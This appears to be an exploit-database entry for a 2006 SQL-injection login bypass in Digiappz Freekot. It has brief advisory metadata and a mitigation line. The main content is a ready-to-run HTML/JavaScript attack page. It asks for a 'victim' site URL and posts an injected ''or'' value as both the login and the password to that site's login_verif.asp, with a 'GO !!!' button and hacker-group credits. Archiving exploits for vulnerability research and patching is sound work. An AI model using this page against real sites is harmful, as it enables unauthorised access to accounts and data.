KAPDA :: Freekot SQL-Injection Vulnerability , Login bypass exploit

vendor:

Freekot

by:

FarhadKey

8.5

CVSS

HIGH

SQL-Injection

CWE

Product Name: Freekot

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

KAPDA :: Freekot SQL-Injection Vulnerability , Login bypass exploit

Digiappz Freekot is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data. A successful exploit could allow an attacker to compromise the application, retrieve sensitive information, or modify data; other consequences are possible as well.

Mitigation:

Input validation and sanitization should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/19768/info

Digiappz Freekot is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit could allow an attacker to compromise the application, retrieve sensitive information, or modify data; other consequences are possible as well.

<html> <head><title>KAPDA :: Freekot SQL-Injection Vulnerability , Login bypass exploit </title></head> <body bgcolor="black"> <script language="JavaScript"> function egxpl() { if (document.xplt.victim.value=="") { alert("Please enter victim site!"); return false; } if (confirm("Are you sure?")) { xplt.action=document.xplt.victim.value+"/login_verif.asp"; xplt.login.value=document.xplt.login.value; xplt.password.value=document.xplt.password.value; xplt.submit(); } } </script><font face=Verdana size=2 color="#00FF00"><center><b>KAPDA :: Freekot SQL-Injection Vulnerability<br> Discovered and coded by FarhadKey From KAPDA.IR<br> Special Thx to Hessam-x From Anti-Security.net (Hackerz.ir)<br></b> <form name="xplt" method="post" onsubmit="egxpl();"> <br>Victim Path : (insert http:// for path)<br> <input type="text" name="victim" value="http://www.victim.com/FreeKot_Path/" size="44" class="xpl" style="color: #00FF00; background-color: #000000"><br> <input type="hidden" name="login" value="'or'"> <input type="hidden" name="password" value="'or'"><br> <!-- Discovered and coded by FarhadKey . Kapda.ir --> <input type="submit" value="GO !!!" style="color: #00FF00; background-color: #000000"> </form></body></html>